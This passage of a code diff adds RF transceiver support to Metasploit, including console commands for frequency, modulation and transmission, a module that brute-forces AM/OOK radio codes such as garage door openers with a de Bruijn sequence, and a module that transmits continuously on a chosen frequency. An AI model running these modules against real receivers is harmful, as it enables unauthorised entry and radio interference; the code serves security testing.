||||||
|
'deviation' => 'sets the deviation',
|
||||||
|
'sync_word' => 'sets the sync word',
|
||||||
|
'preamble' => 'sets the preamble number',
|
||||||
|
'power' => 'sets the power level',
|
||||||
|
'maxpower' => 'sets max power'
|
||||||
|
}
|
||||||
|
|
||||||
|
all
|
||||||
|
end
|
||||||
|
|
||||||
|
def cmd_supported_idx
|
||||||
|
indexes = client.rftransceiver.supported_idx
|
||||||
|
if not indexes or not indexes.has_key? "indexes"
|
||||||
|
print_line("error retrieving index list")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
indexes = indexes["indexes"]
|
||||||
|
if not indexes.size > 0
|
||||||
|
print_line("none")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
self.idx = indexes[0].to_i if indexes.size == 0
|
||||||
|
str = "Supported Indexes: "
|
||||||
|
str += indexes.join(', ')
|
||||||
|
str += "\nUse idx to set your desired bus, default is 0"
|
||||||
|
print_line(str)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Sets the USB IDS
|
||||||
|
#
|
||||||
|
def cmd_idx(*args)
|
||||||
|
self.idx = 0
|
||||||
|
idx_opts = Rex::Parser::Arguments.new(
|
||||||
|
'-h' => [ false, 'Help Banner' ],
|
||||||
|
'-i' => [ true, 'USB index, default 0']
|
||||||
|
)
|
||||||
|
idx_opts.parse(args) do |opt, _idx, val|
|
||||||
|
case opt
|
||||||
|
when '-h'
|
||||||
|
print_line("Usage: idx -i <Index number>\n")
|
||||||
|
print_line(idx_opts.usage)
|
||||||
|
return
|
||||||
|
when '-i'
|
||||||
|
self.idx = val
|
||||||
|
end
|
||||||
|
end
|
||||||
|
print_line("set index to #{self.idx}")
|
||||||
|
end
|
||||||
|
|
||||||
|
def cmd_freq_help
|
||||||
|
print_line("Sets the RF Frequency\n")
|
||||||
|
print_line("Usage: freq -f <frequency number>")
|
||||||
|
print_line("\nExample: freq -f 433000000")
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Takes the results of a client request and prints Ok on success
|
||||||
|
#
|
||||||
|
def print_success(r)
|
||||||
|
if r.has_key? "success" and r["success"] == true
|
||||||
|
print_line("Ok")
|
||||||
|
else
|
||||||
|
print_line("Error")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Sets the frequency
|
||||||
|
#
|
||||||
|
def cmd_freq(*args)
|
||||||
|
self.idx ||= 0
|
||||||
|
freq = -1
|
||||||
|
mhz = nil
|
||||||
|
arg = {}
|
||||||
|
opts = Rex::Parser::Arguments.new(
|
||||||
|
'-h' => [ false, 'Help Banner' ],
|
||||||
|
'-f' => [ true, 'frequency to set, example: 433000000'],
|
||||||
|
'-m' => [ true, 'Mhz, default is 24']
|
||||||
|
)
|
||||||
|
opts.parse(args) do |opt, _idx, val|
|
||||||
|
case opt
|
||||||
|
when '-h'
|
||||||
|
print_line("Usage: freq -f <frequency number>\n")
|
||||||
|
print_line(opts.usage)
|
||||||
|
return
|
||||||
|
when '-f'
|
||||||
|
freq = val.to_i
|
||||||
|
when '-m'
|
||||||
|
mhz = val.to_i
|
||||||
|
end
|
||||||
|
end
|
||||||
|
if freq == -1
|
||||||
|
cmd_freq_help
|
||||||
|
return
|
||||||
|
end
|
||||||
|
arg["mhz"] = mhz if mhz
|
||||||
|
r = client.rftransceiver.set_freq(idx, freq, arg)
|
||||||
|
print_success(r)
|
||||||
|
end
|
||||||
|
|
||||||
|
def cmd_modulation_help
|
||||||
|
print_line("Usage: modulation -M <Modulation name>\n")
|
||||||
|
print_line("Modulation names:\n")
|
||||||
|
print_line(" #{client.rftransceiver.get_supported_modulations(idx)}")
|
||||||
|
print_line("\nExample: modulation -M ASK/OOK")
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Sets the modulation
|
||||||
|
#
|
||||||
|
def cmd_modulation(*args)
|
||||||
|
self.idx ||= 0
|
||||||
|
mod = nil
|
||||||
|
opts = Rex::Parser::Arguments.new(
|
||||||
|
'-h' => [ false, 'Help Banner' ],
|
||||||
|
'-M' => [ true, 'Modulation name, See help for options']
|
||||||
|
)
|
||||||
|
opts.parse(args) do |opt, _idx, val|
|
||||||
|
case opt
|
||||||
|
when '-h'
|
||||||
|
cmd_modulation_help
|
||||||
|
print_line(opts.usage)
|
||||||
|
return
|
||||||
|
when '-M'
|
||||||
|
mod = val
|
||||||
|
end
|
||||||
|
end
|
||||||
|
if not mod
|
||||||
|
cmd_modulation_help
|
||||||
|
return
|
||||||
|
end
|
||||||
|
r = client.rftransceiver.set_modulation(idx, mod)
|
||||||
|
print_success(r)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Sets the fixed length
|
||||||
|
#
|
||||||
|
def cmd_flen(*args)
|
||||||
|
self.idx ||= 0
|
||||||
|
flen = -1
|
||||||
|
opts = Rex::Parser::Arguments.new(
|
||||||
|
'-h' => [ false, 'Help Banner' ],
|
||||||
|
'-l' => [ true, 'Fixed Length']
|
||||||
|
)
|
||||||
|
opts.parse(args) do |opt, _idx, val|
|
||||||
|
case opt
|
||||||
|
when '-h'
|
||||||
|
print_line("Usage: flen -l <length>\n")
|
||||||
|
print_line(opts.usage)
|
||||||
|
return
|
||||||
|
when '-l'
|
||||||
|
flen = val.to_i
|
||||||
|
end
|
||||||
|
end
|
||||||
|
if flen == -1
|
||||||
|
print_line("You must specify a length")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
r = client.rftransceiver.make_pkt_flen(idx, flen)
|
||||||
|
print_success(r)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Sets the variable length
|
||||||
|
#
|
||||||
|
def cmd_vlen(*args)
|
||||||
|
self.idx ||= 0
|
||||||
|
vlen = -1
|
||||||
|
opts = Rex::Parser::Arguments.new(
|
||||||
|
'-h' => [ false, 'Help Banner' ],
|
||||||
|
'-l' => [ true, 'Variable Length']
|
||||||
|
)
|
||||||
|
opts.parse(args) do |opt, _idx, val|
|
||||||
|
case opt
|
||||||
|
when '-h'
|
||||||
|
print_line("Usage: vlen -l <length>\n")
|
||||||
|
print_line(opts.usage)
|
||||||
|
return
|
||||||
|
when '-l'
|
||||||
|
vlen = val.to_i
|
||||||
|
end
|
||||||
|
end
|
||||||
|
if vlen == -1
|
||||||
|
print_line("You must specify a length")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
r = client.rftransceiver.make_pkt_vlen(idx, vlen)
|
||||||
|
print_success(r)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Xmit packet
|
||||||
|
#
|
||||||
|
def cmd_xmit(*args)
|
||||||
|
self.idx ||= 0
|
||||||
|
data = nil
|
||||||
|
repeat = -1
|
||||||
|
offset = -1
|
||||||
|
arg = {}
|
||||||
|
opts = Rex::Parser::Arguments.new(
|
||||||
|
'-h' => [ false, 'Help Banner' ],
|
||||||
|
'-d' => [ true, 'Variable Length'],
|
||||||
|
'-r' => [ true, 'Repeat'],
|
||||||
|
'-o' => [ true, 'Data offset']
|
||||||
|
)
|
||||||
|
opts.parse(args) do |opt, _idx, val|
|
||||||
|
case opt
|
||||||
|
when '-h'
|
||||||
|
print_line("Usage: xmit -d <data>\n")
|
||||||
|
print_line(opts.usage)
|
||||||
|
return
|
||||||
|
when '-d'
|
||||||
|
data = val
|
||||||
|
when '-r'
|
||||||
|
repeat = val.to_i
|
||||||
|
when '-o'
|
||||||
|
offset = val.to_i
|
||||||
|
end
|
||||||
|
end
|
||||||
|
if not data
|
||||||
|
print_line("You must specify the data argument (-d)")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
arg["repeat"] = repeat if not repeat == -1
|
||||||
|
arg["offset"] = offset if not offset == -1
|
||||||
|
r = client.rftransceiver.rfxmit(idx, data, arg)
|
||||||
|
print_success(r)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Recieve data packet
|
||||||
|
#
|
||||||
|
def cmd_recv(*args)
|
||||||
|
self.idx ||= 0
|
||||||
|
arg = {}
|
||||||
|
timeout = -1
|
||||||
|
blocksize = -1
|
||||||
|
opts = Rex::Parser::Arguments.new(
|
||||||
|
'-h' => [ false, 'Help Banner' ],
|
||||||
|
'-t' => [ true, 'timeout'],
|
||||||
|
'-b' => [ true, 'blocksize']
|
||||||
|
)
|
||||||
|
opts.parse(args) do |opt, _idx, val|
|
||||||
|
case opt
|
||||||
|
when '-h'
|
||||||
|
print_line("Usage: recv\n")
|
||||||
|
print_line(opts.usage)
|
||||||
|
return
|
||||||
|
when '-t'
|
||||||
|
timeout = val.to_i
|
||||||
|
when '-b'
|
||||||
|
blocksize = val.to_i
|
||||||
|
end
|
||||||
|
end
|
||||||
|
arg["blocksize"] = blocksize if not blocksize == -1
|
||||||
|
arg["timeout"] = timeout if not timeout == -1
|
||||||
|
r = client.rftransceiver.rfrecv(idx, arg)
|
||||||
|
if r.has_key? "data" and r.has_key? "timestamp"
|
||||||
|
print_line(" #{r["timestamp"]}: #{r["data"].inspect}")
|
||||||
|
else
|
||||||
|
print_line("Error")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Enable CRC
|
||||||
|
#
|
||||||
|
def cmd_enable_crc(*args)
|
||||||
|
self.idx ||= 0
|
||||||
|
opts = Rex::Parser::Arguments.new(
|
||||||
|
'-h' => [ false, 'Help Banner' ]
|
||||||
|
)
|
||||||
|
opts.parse(args) do |opt, _idx, val|
|
||||||
|
case opt
|
||||||
|
when '-h'
|
||||||
|
print_line("Usage: enable_crc\n")
|
||||||
|
print_line(opts.usage)
|
||||||
|
return
|
||||||
|
end
|
||||||
|
end
|
||||||
|
r = client.rftransceiver.enable_packet_crc(idx)
|
||||||
|
print_success(r)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Enable Manchester encoding
|
||||||
|
#
|
||||||
|
def cmd_enable_manchester(*args)
|
||||||
|
self.idx ||= 0
|
||||||
|
opts = Rex::Parser::Arguments.new(
|
||||||
|
'-h' => [ false, 'Help Banner' ]
|
||||||
|
)
|
||||||
|
opts.parse(args) do |opt, _idx, val|
|
||||||
|
case opt
|
||||||
|
when '-h'
|
||||||
|
print_line("Usage: enable_manchester\n")
|
||||||
|
print_line(opts.usage)
|
||||||
|
return
|
||||||
|
end
|
||||||
|
end
|
||||||
|
r = client.rftransceiver.enable_manchester(idx)
|
||||||
|
print_sucess(r)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Set channel
|
||||||
|
#
|
||||||
|
def cmd_channel(*args)
|
||||||
|
self.idx ||= 0
|
||||||
|
channel = -1
|
||||||
|
opts = Rex::Parser::Arguments.new(
|
||||||
|
'-h' => [ false, 'Help Banner' ],
|
||||||
|
'-c' => [ true, 'Channel number']
|
||||||
|
)
|
||||||
|
opts.parse(args) do |opt, _idx, val|
|
||||||
|
case opt
|
||||||
|
when '-h'
|
||||||
|
print_line("Usage: channel -c <channel number>\n")
|
||||||
|
print_line(opts.usage)
|
||||||
|
return
|
||||||
|
when '-c'
|
||||||
|
channel = val.to_i
|
||||||
|
end
|
||||||
|
end
|
||||||
|
if channel == -1
|
||||||
|
print_line("You must specify a channel number")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
r = client.rftransceiver.set_channel(idx, channel)
|
||||||
|
print_success(r)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Set channel bandwidth
|
||||||
|
#
|
||||||
|
def cmd_channel_bw(*args)
|
||||||
|
self.idx ||= 0
|
||||||
|
bandwidth = -1
|
||||||
|
mhz = nil
|
||||||
|
arg = {}
|
||||||
|
opts = Rex::Parser::Arguments.new(
|
||||||
|
'-h' => [ false, 'Help Banner' ],
|
||||||
|
'-b' => [ true, 'Bandwidth'],
|
||||||
|
'-m' => [ true, 'Mhz']
|
||||||
|
)
|
||||||
|
opts.parse(args) do |opt, _idx, val|
|
||||||
|
case opt
|
||||||
|
when '-h'
|
||||||
|
print_line("Usage: channel_bw -b <bandwidth>\n")
|
||||||
|
print_line(opts.usage)
|
||||||
|
return
|
||||||
|
when '-b'
|
||||||
|
bandwidth = val.to_i
|
||||||
|
when '-m'
|
||||||
|
mhz = val.to_i
|
||||||
|
end
|
||||||
|
end
|
||||||
|
if bandwidth == -1
|
||||||
|
print_line("You must specify the bandwidth (-b)")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
arg["mhz"] = mhz if mhz
|
||||||
|
r = client.rftransceiver.set_channel_bandwidth(idx, bandwidth, arg)
|
||||||
|
print_success(r)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Set baud rate
|
||||||
|
#
|
||||||
|
def cmd_baud(*args)
|
||||||
|
self.idx ||= 0
|
||||||
|
baud = -1
|
||||||
|
mhz = nil
|
||||||
|
arg = {}
|
||||||
|
opts = Rex::Parser::Arguments.new(
|
||||||
|
'-h' => [ false, 'Help Banner' ],
|
||||||
|
'-b' => [ true, 'Baud rate'],
|
||||||
|
'-m' => [ true, 'Mhz']
|
||||||
|
)
|
||||||
|
opts.parse(args) do |opt, _idx, val|
|
||||||
|
case opt
|
||||||
|
when '-h'
|
||||||
|
print_line("Usage: baud -b <baud rate>\n")
|
||||||
|
print_line(opts.usage)
|
||||||
|
return
|
||||||
|
when '-b'
|
||||||
|
baud = val.to_i
|
||||||
|
when '-m'
|
||||||
|
mhz = val.to_i
|
||||||
|
end
|
||||||
|
end
|
||||||
|
if baud == -1
|
||||||
|
print_line("You must specify a baud rate")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
arg["mhz"] = mhz if mhz
|
||||||
|
r = client.rftransceiver.set_baud_rate(idx, baud, arg)
|
||||||
|
print_success(r)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Set Deviation
|
||||||
|
#
|
||||||
|
def cmd_deviation(*args)
|
||||||
|
self.idx ||= 0
|
||||||
|
deviat = -1
|
||||||
|
mhz = nil
|
||||||
|
arg = {}
|
||||||
|
opts = Rex::Parser::Arguments.new(
|
||||||
|
'-h' => [ false, 'Help Banner' ],
|
||||||
|
'-d' => [ true, 'Deviat'],
|
||||||
|
'-m' => [ true, 'Mhz']
|
||||||
|
)
|
||||||
|
opts.parse(args) do |opt, _idx, val|
|
||||||
|
case opt
|
||||||
|
when '-h'
|
||||||
|
print_line("Usage: deviation -d <deviat value>\n")
|
||||||
|
print_line(opts.usage)
|
||||||
|
return
|
||||||
|
when '-d'
|
||||||
|
deviat = val.to_i
|
||||||
|
when '-m'
|
||||||
|
mhz = val.to_i
|
||||||
|
end
|
||||||
|
end
|
||||||
|
if deviat == -1
|
||||||
|
print_line("You must specify a deviat value")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
arg["mhz"] = mhz if mhz
|
||||||
|
r = client.rftransceiver.set_deviation(idx, deviat, arg)
|
||||||
|
print_success(r)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Set Sync word
|
||||||
|
#
|
||||||
|
def cmd_sync_word(*args)
|
||||||
|
self.idx ||= 0
|
||||||
|
word = -1
|
||||||
|
opts = Rex::Parser::Arguments.new(
|
||||||
|
'-h' => [ false, 'Help Banner' ],
|
||||||
|
'-w' => [ true, 'Sync word (Integer)']
|
||||||
|
)
|
||||||
|
opts.parse(args) do |opt, _idx, val|
|
||||||
|
case opt
|
||||||
|
when '-h'
|
||||||
|
print_line("Usage: sync_word -w <int>\n")
|
||||||
|
print_line(opts.usage)
|
||||||
|
return
|
||||||
|
when '-w'
|
||||||
|
word = val.to_i
|
||||||
|
end
|
||||||
|
end
|
||||||
|
if word == -1
|
||||||
|
print_line("you must specify a sync word")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
r = client.rftransceiver.set_sync_word(idx, word)
|
||||||
|
print_success(r)
|
||||||
|
end
|
||||||
|
|
||||||
|
def cmd_preamble_help
|
||||||
|
print_line("get the minimum number of preamble bits to be transmitted. note this is a flag, not a count")
|
||||||
|
print_line("so the return value must be interpeted - e.g. 0x30 == 0x03 << 4 == MFMCFG1_NUM_PREAMBLE_6 == 6 bytes")
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Set Preamble size
|
||||||
|
#
|
||||||
|
def cmd_preamble(*args)
|
||||||
|
self.idx ||= 0
|
||||||
|
preamble = -1
|
||||||
|
opts = Rex::Parser::Arguments.new(
|
||||||
|
'-h' => [ false, 'Help Banner' ],
|
||||||
|
'-n' => [ true, 'Number of preamble']
|
||||||
|
)
|
||||||
|
opts.parse(args) do |opt, _idx, val|
|
||||||
|
case opt
|
||||||
|
when '-h'
|
||||||
|
print_line("Usage: preamble -n <number bits>\n")
|
||||||
|
print_line(opts.usage)
|
||||||
|
return
|
||||||
|
when '-n'
|
||||||
|
preamble = val.to_i
|
||||||
|
end
|
||||||
|
end
|
||||||
|
if preamble == -1
|
||||||
|
print_line("You must specify the number of preamble bits")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
r = client.rftransceiver.set_number_preamble(idx, preamble)
|
||||||
|
print_success(r)
|
||||||
|
end
|
||||||
|
|
||||||
|
def cmd_maxpower_help
|
||||||
|
print_line("Max power is frequency dependent. Set frequency first")
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Sets max power
|
||||||
|
#
|
||||||
|
def cmd_maxpower(*args)
|
||||||
|
self.idx ||= 0
|
||||||
|
if args.length > 0
|
||||||
|
cmd_maxpower_help
|
||||||
|
return
|
||||||
|
end
|
||||||
|
r = client.rftransceiver.set_maxpower(idx)
|
||||||
|
print_success(r)
|
||||||
|
end
|
||||||
|
|
||||||
|
def cmd_power(*args)
|
||||||
|
self.idx ||= 0
|
||||||
|
power = -1
|
||||||
|
opts = Rex::Parser::Arguments.new(
|
||||||
|
'-h' => [ false, 'Help Banner' ],
|
||||||
|
'-p' => [ true, 'Power level']
|
||||||
|
)
|
||||||
|
opts.parse(args) do |opt, _idx, val|
|
||||||
|
case opt
|
||||||
|
when '-h'
|
||||||
|
print_line("Usage: power -p <power level>\n")
|
||||||
|
print_line(opts.usage)
|
||||||
|
return
|
||||||
|
when '-p'
|
||||||
|
power = val.to_i
|
||||||
|
end
|
||||||
|
end
|
||||||
|
if power == -1
|
||||||
|
print_line("You must specify the power level")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
r = client.rftransceiver.set_power(idx, power)
|
||||||
|
print_success(r)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Name for this dispatcher
|
||||||
|
#
|
||||||
|
def name
|
||||||
|
'RFtransceiver'
|
||||||
|
end
|
||||||
|
|
||||||
|
attr_accessor :idx
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
@ -103,6 +103,9 @@ class MetasploitModule < Msf::Auxiliary
|
|||||||
if self.hw_specialty.has_key? "zigbee"
|
if self.hw_specialty.has_key? "zigbee"
|
||||||
sess.load_zigbee if self.hw_specialty["zigbee"] == true
|
sess.load_zigbee if self.hw_specialty["zigbee"] == true
|
||||||
end
|
end
|
||||||
|
if self.hw_specialty.has_key? "rftransceiver"
|
||||||
|
sess.load_rftransceiver if self.hw_specialty["rftransceiver"] == true
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
153
modules/post/hardware/rftransceiver/rfpwnon.rb
Normal file
153
modules/post/hardware/rftransceiver/rfpwnon.rb
Normal file
@ -0,0 +1,153 @@
|
|||||||
|
class MetasploitModule < Msf::Post
|
||||||
|
|
||||||
|
include Msf::Post::Hardware::RFTransceiver::RFTransceiver
|
||||||
|
|
||||||
|
def initialize(info={})
|
||||||
|
super( update_info( info,
|
||||||
|
'Name' => 'Brute Force AM/OOK (ie: Garage Doors)',
|
||||||
|
'Description' => %q{ Post Module for HWBridge RFTranscievers. Brute forces AM OOK or raw
|
||||||
|
raw binary signals. This is a port of LegacySecurityGroup.com rfpwnon
|
||||||
|
https://github.com/exploitagency/github-rfpwnon/blob/master/rfpwnon.py },
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' => ['Craig Smith'],
|
||||||
|
'Platform' => ['hardware'],
|
||||||
|
'SessionTypes' => ['hwbridge']
|
||||||
|
))
|
||||||
|
register_options([
|
||||||
|
OptInt.new('FREQ', [true, "Frequency to transmit on"]),
|
||||||
|
OptInt.new('BAUD', [false, "Baud rate to use", 2000]),
|
||||||
|
OptInt.new('BINLENGTH', [false, "Binary Length of signal to brute force", 8]),
|
||||||
|
OptInt.new('REPEAT', [false, "Number of times to repeat the signal", 5]),
|
||||||
|
OptString.new('PPAD', [false, "Specify your own binary padding before the brute forced binary", nil]),
|
||||||
|
OptString.new('TPAD', [false, "Specify your own binary padding after the brute forced binary", nil]),
|
||||||
|
OptBool.new('RAW', [false, "When set, disables PWM encoding. BINLENGTH must be -1", false]),
|
||||||
|
OptBool.new('TRI', [false, "When set, brute foces a trinary signal.", false]),
|
||||||
|
OptBool.new('EXTRAVERBOSE', [false, "More verbose", false]),
|
||||||
|
OptInt.new('INDEX', [false, "USB Index to use", 0]),
|
||||||
|
OptInt.new('DELAY', [false, "Delay in milliseconds between transmissions", 500])
|
||||||
|
], self.class)
|
||||||
|
@zeropwm = "1110"
|
||||||
|
@onepwm = "1000"
|
||||||
|
@brutechar = "01"
|
||||||
|
end
|
||||||
|
|
||||||
|
# @param key [String] binary/trinary represntation
|
||||||
|
# @return [Array] ByteArray
|
||||||
|
def convert_ook(key)
|
||||||
|
pwm_str_key = ""
|
||||||
|
key.each_char do |k|
|
||||||
|
x = "*"
|
||||||
|
case k
|
||||||
|
when "0"
|
||||||
|
x = @zeropwm
|
||||||
|
when "1"
|
||||||
|
x = @onepwm
|
||||||
|
when "2"
|
||||||
|
x = @twopwm
|
||||||
|
end
|
||||||
|
pwm_str_key += x
|
||||||
|
end
|
||||||
|
return pwm_str_key.scan(/.{1,8}/).collect{|x| x.to_i(2).chr}
|
||||||
|
end
|
||||||
|
|
||||||
|
def debruijn_bytes(k, n)
|
||||||
|
@a=[0]
|
||||||
|
@sequence = []
|
||||||
|
debruijn(1, 1, k, n)
|
||||||
|
return @sequence.join
|
||||||
|
end
|
||||||
|
|
||||||
|
def debruijn(t, p, k, n)
|
||||||
|
if t>n
|
||||||
|
if n%p==0
|
||||||
|
1.upto(p) {|j| @sequence<<@a[j]}
|
||||||
|
end
|
||||||
|
else
|
||||||
|
@a[t]=@a[t-p]
|
||||||
|
debruijn(t+1, p, k, n)
|
||||||
|
(@a[t-p]+1).upto(k-1) {|j|
|
||||||
|
@a[t]=j
|
||||||
|
debruijn(t+1, t, k, n)
|
||||||
|
}
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
if not is_rf?
|
||||||
|
print_error("Not an RF Transceiver")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
if not set_index(datastore['INDEX'])
|
||||||
|
print_error("Couldn't set usb index to #{datastore["INDEX"]}")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
if datastore["TRI"]
|
||||||
|
@zeropwm = "10001000"
|
||||||
|
@onepwm = "11101110"
|
||||||
|
@twopwm = "10001110"
|
||||||
|
@brutechar = "012"
|
||||||
|
end
|
||||||
|
|
||||||
|
set_modulation("ASK/OOK")
|
||||||
|
set_freq(datastore["FREQ"])
|
||||||
|
set_sync_mode(0)
|
||||||
|
set_baud(datastore["BAUD"])
|
||||||
|
max_power
|
||||||
|
|
||||||
|
print_status("Generating de bruijn sequence...")
|
||||||
|
seq = debruijn_bytes(@brutechar.length, datastore['BINLENGTH'])
|
||||||
|
tail = seq[0, datastore['BINLENGTH']-1]
|
||||||
|
brutepacket = seq + tail
|
||||||
|
|
||||||
|
print_status("Brute forcing frequency: #{datastore['FREQ']}")
|
||||||
|
print_status("Padding before binary: #{datastore['PPAD']}") if datastore["PPAD"]
|
||||||
|
print_status("Padding after binary: #{datastore["TPAD"]}") if datastore["TPAD"]
|
||||||
|
print_status("De Bruijin Sequence: #{brutepacket}") if datastore["EXTRAVERBOSE"]
|
||||||
|
|
||||||
|
startn = 0
|
||||||
|
endy = 512
|
||||||
|
brutepackettmp = ""
|
||||||
|
addr = 512
|
||||||
|
if datastore["TRI"]
|
||||||
|
endy = 128
|
||||||
|
addr = 128
|
||||||
|
end
|
||||||
|
if datastore["REPEAT"] >= 2 or datastore["PPAD"] or datastore["TPAD"]
|
||||||
|
endy = datastore["BINLENGTH"]
|
||||||
|
addr = 1
|
||||||
|
end
|
||||||
|
# Transmit
|
||||||
|
while startn < brutepacket.length
|
||||||
|
(0..datastore["REPEAT"]-1).each do |i|
|
||||||
|
brutepackettemp = brutepacket[startn..endy-1]
|
||||||
|
next if brutepackettemp.length < datastore["BINLENGTH"]
|
||||||
|
# Pad if asked to
|
||||||
|
brutepackettemp = datastore["PPAD"] + brutepackettemp if datastore["PPAD"]
|
||||||
|
brutepackettemp += datastore["TPAD"] if datastore["TPAD"]
|
||||||
|
if datastore["RAW"]
|
||||||
|
key_packed = brutepackettemp.scan(/.{1,8}/).collect{|x| x.to_i(2).chr}
|
||||||
|
else
|
||||||
|
key_packed = convert_ook(brutepackettemp)
|
||||||
|
end
|
||||||
|
print_status("Transmitting...")
|
||||||
|
set_flen(key_packed.length)
|
||||||
|
rfxmit(key_packed.join)
|
||||||
|
print_status("Binary before PWM encoding:")
|
||||||
|
print_status("#{brutepackettemp}")
|
||||||
|
print_status("Binary after PWM encoding:")
|
||||||
|
print_status("#{key_packed.join.unpack("H*")[0].hex.to_s(2)}")
|
||||||
|
sleep(datastore["DELAY"] / 1000) if datastore["DELAY"] > 0
|
||||||
|
end
|
||||||
|
if datastore["REPEAT"] >= 2 or datastore["PPAD"] or datastore["TPAD"]
|
||||||
|
startn += addr
|
||||||
|
endy += addr
|
||||||
|
else
|
||||||
|
startn = startn + addr - datastore["BINLENGTH"]
|
||||||
|
endy = endy + addr - datastore["BINLENGTH"]
|
||||||
|
end
|
||||||
|
end
|
||||||
|
print_status("Done")
|
||||||
|
set_mode("IDLE")
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
60
modules/post/hardware/rftransceiver/transmitter.rb
Normal file
60
modules/post/hardware/rftransceiver/transmitter.rb
Normal file
@ -0,0 +1,60 @@
|
|||||||
|
class MetasploitModule < Msf::Post
|
||||||
|
|
||||||
|
include Msf::Post::Hardware::RFTransceiver::RFTransceiver
|
||||||
|
|
||||||
|
def initialize(info={})
|
||||||
|
super( update_info( info,
|
||||||
|
'Name' => 'RF Transceiver Transmitter',
|
||||||
|
'Description' => %q{
|
||||||
|
This module powers an HWBridge-connected radio transceiver,
|
||||||
|
effectively transmitting on the frequency set by the FREQ option.
|
||||||
|
|
||||||
|
NOTE: Users of this module should be aware of their local laws,
|
||||||
|
regulations, and licensing requirements for transmitting on any
|
||||||
|
given radio frequency.
|
||||||
|
|
||||||
|
},
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['URL', 'https://github.com/AndrewMohawk/RfCatHelpers']
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' => ['Craig Smith'],
|
||||||
|
'Platform' => ['hardware'],
|
||||||
|
'SessionTypes' => ['hwbridge']
|
||||||
|
))
|
||||||
|
register_options([
|
||||||
|
OptInt.new('FREQ', [true, "Frequency to transmit on"]),
|
||||||
|
OptInt.new('SECONDS', [false, "Seconds to transmit", 4]),
|
||||||
|
OptInt.new('BAUD', [false, "Baud rate to use", 4800]),
|
||||||
|
OptInt.new('POWER', [false, "Power level", 100]),
|
||||||
|
OptInt.new('INDEX', [false, "USB Index to use", 0])
|
||||||
|
], self.class)
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
if not is_rf?
|
||||||
|
print_error("Not an RF Transceiver")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
if not set_index(datastore['INDEX'])
|
||||||
|
print_error("Couldn't set usb index to #{datastore["INDEX"]}")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
set_modulation("ASK/OOK")
|
||||||
|
set_freq(datastore["FREQ"])
|
||||||
|
set_sync_mode(0)
|
||||||
|
set_baud(datastore["BAUD"])
|
||||||
|
set_channel_spc(24000)
|
||||||
|
set_mode("idle")
|
||||||
|
set_power(datastore["POWER"])
|
||||||
|
|
||||||
|
print_status("Transmitting on #{datastore['FREQ']} for #{datastore['SECONDS']} seconds...")
|
||||||
|
set_mode("tx")
|
||||||
|
sleep(datastore['SECONDS'])
|
||||||
|
print_status("Finished transmitting")
|
||||||
|
set_mode("idle")
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
Loading…
Reference in New Issue
Block a user